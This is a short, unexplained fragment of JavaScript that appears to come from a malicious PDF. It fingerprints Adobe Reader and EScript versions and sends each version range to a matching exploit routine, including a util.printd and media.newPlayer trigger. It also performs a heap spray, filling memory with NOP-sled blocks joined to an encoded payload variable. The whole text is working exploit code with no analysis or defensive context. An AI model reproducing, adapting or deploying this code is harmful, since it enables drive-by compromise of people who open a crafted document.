sv=parseInt(app.viewerVersion.toString().charAt(0));for(var i=0;i<aPlugins.length;i++){if(aPlugins[i].name=='EScript'){var lv=aPlugins[i].version;}} if((lv==9)||((sv==8)&&(lv<=8.12))){geticon();}else if(lv==7.1){printf();}else if(((sv==6)||(sv==7))&&(lv<7.11)){bx();}else if((lv>=9.1)||(lv<=9.2)||(lv>=8.13)||(lv<=8.17)){function a(){util.printd('p@111111111111111111111111 : yyyy111',new Date());}var h=app.plugIns;for(var f=0;f<h.length;f++){if(h[f].name=='EScript'){var i=h[f].version;}} if((i>8.12)&&(i<8.2)){c=new Array();var d=unescape('%u9090%u9090');var e=unescape(bjsg);while(d.length<=0x8000){d+=d;}d=d.substr(0,0x8000-e.length);for(f=0;f<2900;f++){c[f]=d+e;}a();a();try{this.media.newPlayer(null);}catch(e){}a();}}

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